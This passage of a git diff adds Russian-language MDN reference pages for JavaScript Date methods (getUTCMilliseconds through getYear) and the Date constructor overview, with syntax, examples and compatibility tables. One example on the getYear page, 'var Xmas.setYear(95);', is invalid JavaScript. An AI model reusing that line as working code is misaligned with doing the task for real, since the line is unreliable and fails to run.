+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
new file mode 100644
index 0000000000..da9cf2090b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCMilliseconds()</code></strong> возвращает миллисекунды указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMilliseconds()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCMilliseconds()</code>, является целым числом от 0 до 999.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCMilliseconds" name="Example:_Using_getUTCMilliseconds">Пример: использование метода <code>getUTCMilliseconds()</code></h3>
+<p>В следующем примере переменной <code>milliseconds</code> присваивается количество миллисекунд из текущего времени.</p>
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getUTCMilliseconds();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcminutes/index.html
new file mode 100644
index 0000000000..8f15413ccd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcminutes/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCMinutes()</code></strong> возвращает минуты указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMinutes()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCMinutes()</code>, является целым числом от 0 до 59.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCMinutes" name="Example:_Using_getUTCMinutes">Пример: использование метода <code>getUTCMinutes()</code></h3>
+<p>В следующем примере переменной <code>minutes</code> присваивается количество минут из текущего времени.</p>
+<pre class="brush: js">var today = new Date();
+var minutes = today.getUTCMinutes();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcmonth/index.html
new file mode 100644
index 0000000000..f7e3f3ccb9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcmonth/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCMonth()</code></strong> возвращает месяц указанной даты по всемирному координированному времени, нумерация месяцев начинается с нуля для первого месяца в году.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMonth()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCMonth()</code>, является целым числом от 0 до 11. 0 соответствует январю, 1 — февралю и так далее.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCMonth" name="Example:_Using_getUTCMonth">Пример: использование метода <code>getUTCMonth()</code></h3>
+<p>В следующем примере переменной <code>month</code> присваивается значение месяца из текущей даты.</p>
+<pre class="brush: js">var today = new Date();
+var month = today.getUTCMonth();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcseconds/index.html
new file mode 100644
index 0000000000..68916e4551
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcseconds/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCSeconds()</code></strong> возвращает секунды указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCSeconds()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCSeconds()</code>, является целым числом от 0 до 59.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCSeconds" name="Example:_Using_getUTCSeconds">Пример: использование метода <code>getUTCSeconds()</code></h3>
+<p>В следующем примере переменной <code>seconds</code> присваивается количество секунд из текущего времени.</p>
+<pre class="brush: js">var today = new Date();
+var seconds = today.getUTCSeconds();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getyear/index.html b/files/ru/web/javascript/reference/global_objects/date/getyear/index.html
new file mode 100644
index 0000000000..e7c7b42782
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getyear/index.html
@@ -0,0 +1,123 @@
+---
+title: Date.prototype.getYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getYear
+tags:
+  - Date
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear
+---
+<div>{{JSRef("Global_Objects", "Date")}} {{deprecated_header("")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getYear()</code></strong> возвращает год указанной даты по местному времени. Поскольку метод <code>getYear()</code> не возвращает полный год («проблема 2000 года»), он больше не используется и был заменён методом {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getYear()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Метод <code>getYear()</code> возвращает год минус 1900; таким образом:</p>
+
+<ul>
+ <li>Для годов, больших, либо равных 2000, значение, возвращённое методом <code>getYear()</code>, будет равно 100 или выше. Например, если год равен 2026, метод <code>getYear()</code> вернёт 126.</li>
+ <li>Для годов между 1900 и 1999 включительно, значение, возвращённое методом <code>getYear()</code>, лежит между 0 и 99. Например, если год равен 1976, метод <code>getYear()</code> вернёт 76.</li>
+ <li>Для годов, меньших 1900, значение, возвращённое методом <code>getYear()</code>, будем меньше 0. Например, если год равен 1800, метод <code>getYear()</code> вернёт -100.</li>
+</ul>
+
+<p>Чтобы учесть года до и после 2000, вы должны вместо метода <code>getYear()</code> использовать метод {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}, который возвращает полный год.</p>
+
+<h2 id="Backward_compatibility" name="Backward_compatibility">Обратная совместимость</h2>
+
+<h3 id="JavaScript_1.2_and_earlier" name="JavaScript_1.2_and_earlier">Поведение в JavaScript 1.2 и ранее</h3>
+
+<p>Метод <code>getYear()</code> возвращал 2-х или 4-х значный год:</p>
+
+<ul>
+ <li>Для годов между 1900 и 1999 включительно, значение, возвращаемое методом <code>getYear()</code>, было годом минус 1900. Например, если год равнялся 1976, возвращаемое значение равнялось 76.</li>
+ <li>Для годов, меньших 1900, либо больших 1999, значение, возвращаемое методом <code>getYear()</code> было четырёхзначным годом. Например, если год равнялся 1856, возвращаемое значение равнялось 1856. Если год равнялся 2026, возвращаемое значение равнялось 2026.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Years_between_1900_and_1999" name="Example:_Years_between_1900_and_1999">Пример: года между 1900 и 1999</h3>
+
+<p>Вторая инструкция присваивает значение 95 переменной <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date('December 25, 1995 23:15:00');
+var year = Xmas.getYear(); // вернёт 95
+</pre>
+
+<h3 id="Example:_Years_above_1999" name="Example:_Years_above_1999">Пример: года после 1999</h3>
+
+<p>Вторая инструкция присваивает значение 100 переменной <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date('December 25, 2000 23:15:00');
+var year = Xmas.getYear(); // вернёт 100
+</pre>
+
+<h3 id="Example:_Years_below_1900" name="Example:_Years_below_1900">Пример: года до 1900</h3>
+
+<p>Вторая инструкция присваивает значение -100 переменной <code>year</code>.</p>
+
+<pre class="brush: js">var Xmas = new Date('December 25, 1800 23:15:00');
+var year = Xmas.getYear(); // вернёт -100
+</pre>
+
+<h3 id="Example:_Setting_and_getting_a_year_between_1900_and_1999" name="Example:_Setting_and_getting_a_year_between_1900_and_1999">Пример: установка и получение года между 1900 и 1999</h3>
+
+<p>Вторая инструкция присваивает значение 95 переменной <code>year</code>, которое представляет 1995 год.</p>
+
+<pre class="brush: js">var Xmas.setYear(95);
+var year = Xmas.getYear(); // вернёт 95
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.4', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определён в (информативном) приложении по совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определён в (нормативном) приложении по дополнительным возможностям веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div> </div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.getYear")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html
new file mode 100644
index 0000000000..5979d471f2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/index.html
@@ -0,0 +1,232 @@
+---
+title: Дата
+slug: Web/JavaScript/Reference/Global_Objects/Date
+tags:
+  - Date
+  - JavaScript
+  - Reference
+  - время
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Создаёт экземпляр объекта <strong><code>Date</code></strong>, представляющего собой момент времени. Обьект Дата содержит число милисекунд прошедших с 1 января 1970 г. UTC</p>
+
+
+
+<p>{{EmbedInteractiveExample("pages/js/date-constructor.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>new Date();
+new Date(<var>value</var>);
+new Date(<var>dateString</var>);
+new Date(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]]);
+</code></pre>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> объекты <code>Date</code> могут быть созданы только путём вызова функции <code>Date</code> в качестве конструктора: обычный вызов функции (то есть, без использования оператора {{jsxref("Operators/new", "new")}}) вернёт строку вместо объекта <code>Date</code>; в отличие от других объектных типов JavaScript, объекты <code>Date</code> не имеют литерального синтаксиса.</p>
+</div>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> если функция <code>Date</code> вызывается в качестве конструктора с более, чем одним аргументом, значения, большие логического диапазона (например, 13 в качестве номера месяца или 70 для значения минут) «переметнутся» на соседние значения. Например, вызов <code>new Date(2013, 13, 1)</code> эквивалентен вызову <code>new Date(2014, 1, 1)</code>, оба создадут дату <code>2014-02-01</code> (нумерация месяцев начинается с нуля). Тоже самое действует и для других значений: вызов <code>new Date(2013, 2, 1, 0, 70)</code> эквивалентен вызову <code>new Date(2013, 2, 1, 1, 10)</code> — оба вызова создадут дату <code>2013-03-01T01:10:00</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> если функция Date вызывается в качестве конструктора с более чем одним аргументом, то указанные аргументы интерпретируются как локальное время. Если аргументы указывают время в UTC, используйте <code>new Date({{jsxref("Date.UTC()", "Date.UTC(...)")}})</code> с теми же аргументами.</p>
+</div>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Целое значение, представляющее количество миллисекунд, прошедших с 1 января 1970 00:00:00 по UTC (эпохи Unix).</dd>
+ <dt><code>dateString</code></dt>
+ <dd>Строковое значение, представляющее дату. Строка должна быть в одном из форматов, распознаваемых методом {{jsxref("Date.parse()")}} (совместимые с IETF RFC 2822 временные метки [<a href="http://tools.ietf.org/html/rfc2822#page-14">на английском</a>, <a href="http://rfc2.ru/5322.rfc/print#p3.3">на русском</a>], а также версия ISO8601 [<a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15">на английском</a>, <a href="http://es5.javascript.ru/x15.9.html#x15.9.1.15">на русском</a>]).</dd>
+ <dt><code>year</code></dt>
+ <dd>Целое значение, представляющее год. Значения с 0 по 99 отображаются на года с 1900 по 1999. Смотрите {{anch("Example:_Two_digit_years_map_to_1900_-_1999", "пример ниже")}}.</dd>
+ <dt><code>month</code></dt>
+ <dd>Целое значение, представляющее месяц, начинается с 0 для января и кончается 11 для декабря.</dd>
+ <dt><code>day</code></dt>
+ <dd>Необязательный параметр. Целое значение, представляющее день месяца.</dd>
+ <dt><code>hour</code></dt>
+ <dd>Необязательный параметр. Целое значение, представляющее часы дня.</dd>
+ <dt><code>minute</code></dt>
+ <dd>Необязательный параметр. Целое значение, представляющее минуты времени.</dd>
+ <dt><code>second</code></dt>
+ <dd>Необязательный параметр. Целое значение, представляющее секунды времени.</dd>
+ <dt><code>millisecond</code></dt>
+ <dd>Необязательный параметр. Целое значение, представляющее миллисекунды времени.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<ul>
+ <li>Если никаких аргументов передано не было, конструктор создаёт объект <code>Date</code>  для текущих даты и времени, согласно системным настройкам.</li>
+ <li>Если передано как минимум два аргумента, отсутствующие аргументы устанавливаются в стартовые значения - день месяца 1 и время полуночи.</li>
+ <li>Дата в JavaScript измеряется в миллисекундах, прошедших с полуночи 1 января 1970 года по UTC. День содержит 86 400 000 миллисекунд. Диапазон дат объекта <code>Date</code> варьируется от -100 000 000 до 100 000 000 дней относительно 1 января 1970 года по UTC.</li>
+ <li>Объект <code>Date</code> обеспечивает универсальное поведение на всех платформах. Значение времени может передаваться между системами для представления одинакового момента во времени и, если оно используется для создания локального объекта даты, будет отражать местный эквивалент времени.</li>
+ <li>Объект <code>Date</code> поддерживает несколько методов для работы с UTC (всемирным координированным временем), наряду с методами работы с местным временем. UTC, также известное как среднее время по Гринвичу (GMT), ссылается на время, установленное Всемирным стандартом времени. Местное время — это время на компьютере, на котором выполняется JavaScript.</li>
+ <li>Вызов объекта <code>Date</code> в качестве функции (то есть, без использования оператора {{jsxref("Operators/new", "new")}}) вернёт строку, представляющую текущие дату и время.</li>
+</ul>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства к объекту <code>Date</code>.</dd>
+ <dt><code>Date.length</code></dt>
+ <dd>Значение свойства <code>Date.length</code> равно 7. Это количество аргументов, обрабатываемых конструктором.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "properties", "prototype")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>Возвращает числовое значение, соответствующее текущему времени — количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Разбирает строковое представление даты и возвращает количество миллисекунд с 1 января 1970 года 00:00:00 по местному времени.</dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Принимает те же самые параметры, что и самый длиный вариант конструктора (то есть, от 2 до 7) и возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Methods", "now", "parse", "UTC")}}</div>
+
+<h2 id="Date_instances" name="Date_instances">Экземпляры объекта <code>Date</code></h2>
+
+<p>Все экземпляры объекта <code>Date</code> наследуются от {{jsxref("Date.prototype")}}. Объект прототипа конструктора <code>Date</code> может быть изменён, чтобы затронуть все экземпляры объекта <code>Date</code>.</p>
+
+<h3 id="Методы">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Several_ways_to_assign_dates" name="Example:_Several_ways_to_assign_dates">Пример: несколько способов создания объекта <code>Date</code></h3>
+
+<p>Следующие примеры показывают несколько способов создания дат в JavaScript:</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> разбор строкового представления дат с помощью конструктора <code>Date</code> (так же как эквивалентный ему метод <code>Date.parse</code>) может иметь различия и несоответствия в браузерах.</p>
+</div>
+
